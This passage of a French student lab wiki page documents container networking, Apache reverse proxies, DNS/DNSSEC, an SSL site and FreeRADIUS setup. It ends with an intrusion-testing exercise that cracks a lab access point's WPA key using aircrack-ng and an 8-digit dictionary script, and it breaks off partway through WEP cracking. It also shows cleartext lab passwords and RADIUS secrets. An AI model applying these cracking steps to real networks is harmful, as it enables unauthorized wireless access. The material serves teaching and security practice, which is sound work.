   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
== 2.Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
==4.Services internet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
===DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
&lt;br /&gt;
Installation de Freeradius sur la vm :&lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute : &lt;br /&gt;
  hercule Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers : &lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
  default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
  use_mppe = yes&lt;br /&gt;
  require_encryption = yes&lt;br /&gt;
  require_strong = yes&lt;br /&gt;
  with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :&lt;br /&gt;
  client 192.168.0.10/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client 192.168.0.11/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On met à jour la configuration : &lt;br /&gt;
  ldconfig&lt;br /&gt;
&lt;br /&gt;
Et enfin, nous lançons le service freeradius :&lt;br /&gt;
  $ service freeradius restart&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite à la modification de la configuration des points d'accès afin qu'ils prennent en compte notre serveur freeradius :&lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 aaa authentication login eap_group17 group radius_group17&lt;br /&gt;
 aaa group server radius radius_group17&lt;br /&gt;
 server 193.48.57.183 auth-port 1812 acct-port 1813&lt;br /&gt;
 radius-server host 193.48.57.183 auth-port 1812 acct-port 1813 key secretIMA5SC&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 dot11 ssid Hercule&lt;br /&gt;
 vlan 17&lt;br /&gt;
 authentication open eap eap_group17&lt;br /&gt;
 authentication network-eap eap_group17&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 ssid Hercule&lt;br /&gt;
 encryption vlan 17 mode ciphers aes-ccm tkip&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0.17&lt;br /&gt;
 encapsulation dot1Q 17&lt;br /&gt;
 bridge-group 17&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
== 5. Tests d'intrusion ==&lt;br /&gt;
===Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===Cassage de clé WEP===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef012c92&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants protégés en WEP en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --channel 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlan0mon&lt;br /&gt;
&lt;br /&gt;
En parallèle, on simule une connexion au point d'accès pour récupérer le handshake : &lt;br /&gt;
 $ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On réalise le cassage : &lt;br /&gt;
